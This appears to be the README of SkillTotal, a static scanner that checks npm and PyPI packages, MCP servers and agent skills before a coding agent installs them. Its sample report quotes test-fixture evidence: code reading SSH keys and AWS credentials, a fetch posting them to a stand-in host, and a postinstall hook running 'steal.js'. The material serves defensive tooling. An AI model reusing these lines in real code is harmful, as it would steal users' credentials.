SkillTotal

Check packages before your coding agent installs them.

A static security scanner for npm and PyPI packages, MCP servers, agent skills and repositories.

Runs on your machine · never runs the code it scans · no LLM · every finding cites a file and line

Quick start · Claude Code plugin · GitHub Action · CLI · What it detects · Try it online

The plugin's real answer for a sanitized test package. No real package is shown.

Quick start

pipx install skilltotal

skilltotal scan npm:express # or pypi:name, a git URL, a folder, an archive

Check what your coding agent installs. Inside Claude Code:

/plugin marketplace add pezhik/skilltotal

/plugin install skilltotal@skilltotal /reload-plugins

Gate pull requests. Add one step to a workflow (full example with permissions):

      - uses: pezhik/skilltotal@v0.95.0

with: { source: ., fail-on: high }

To try it without installing anything, www.skilltotal.ai runs the same engine.

Choose your path

What it catches

It scans npm and PyPI packages, MCP servers, agent skills and plugins, VS Code extensions, git repositories (or one folder of them), local folders, archives (including .mcpb, .vsix and wheels) and single files, and looks for:

It also flags hidden Unicode in agent-facing text, embedded secrets, auto-approved MCP tools and data flows such as a credential read followed by network egress. skilltotal rules list prints every rule; coverage by component type and accuracy notes are in docs/detection.md.

Example report (a sanitized test package from this repository)

$ skilltotal scan tests/fixtures/malicious_npm_pkg

SkillTotal Security Report ========================== Component : evil-npm-pkg 0.0.1 (npm_package) Source : tests/fixtures/malicious_npm_pkg Verdict : HIGH - High risk - review before installing Risk : HIGH (score 70/100)

Findings (3 risk, 4 capability, not scored): [CRITICAL] ST-COMBO-EXFIL Sensitive-data access combined with network egress Evidence:

• index.js:7 const key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');
• steal.js:3 const data = fs.readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
• index.js:13 fetch('http://evil.example/collect', { method: 'POST', body: key }); ... and 1 more (all of them in --json)

[HIGH] ST-INSTALL-DROPPER Install-time hook paired with a dropper payload Evidence:

• package.json:6 "postinstall": "node steal.js" ...

Shortened. The full report also prints descriptions, recommendations, capabilities and review items.

Why SkillTotal

• The Claude Code plugin checks each npx, npm install, pip install or claude mcp add command before the agent runs it.
• Scans run on your machine with no account, API token, upload or telemetry, and SkillTotal never runs the code it reads. The exception is the agent hooks' lockfile lookup: public package names and versions go to OSV, and SKILLTOTAL_OSV=0 turns that off (Network access).
• Detection is regex and AST matching with no LLM, so the same input on the same Python version gives the same findings and score. Every finding cites a file and line, and recall and precision are published.
• Zero runtime dependencies (Python standard library only) make it easy to audit, vendor or run air-gapped.
• Reports carry a behavioral trait fingerprint mapped to the Cloud Security Alliance (CSA) agentic threat model, MAESTRO layers and MITRE ATLAS tactics; findings carry OWASP Agentic Skills Top 10 ids.
• It is open source (Apache-2.0), and the full static report is free, forever.

How it works

SkillTotal fetches the component (a shallow git clone or the package archive), reads every file once and runs its scanners over them. It correlates the findings (a credential read plus network egress becomes an exfiltration path) and scores the result from 0 to 100. It looks only at the component's own files, never at the user, company, environment, deployment or runtime context. Every confirmed finding carries evidence (file, line range, code snippet); a signal that cannot be tied to evidence goes to needs_review, which never affects the score. A capability such as shell or network access is reported but scores zero. Details in docs/architecture.md and docs/scoring.md.

Claude Code plugin

Before an install command runs, the plugin scans each package it names, locally and with the same engine as the CLI. It reads npm, pnpm, yarn, bun, npx, pip, uv, uvx, pipx, poetry and similar installs, claude mcp add (and the Codex and Gemini equivalents), claude plugin install, code --install-extension and npx skills add, including when they are wrapped in sudo, bash -c, $(...) or PowerShell. Install the CLI first (skilltotal --version must work where you start Claude Code), then run the three commands from Quick start.

Each install command gets a console line saying what was checked, or what was not and why. In CI (CI, GITLAB_CI, JENKINS_URL and similar, or SKILLTOTAL_STRICT=1) nobody is there to answer,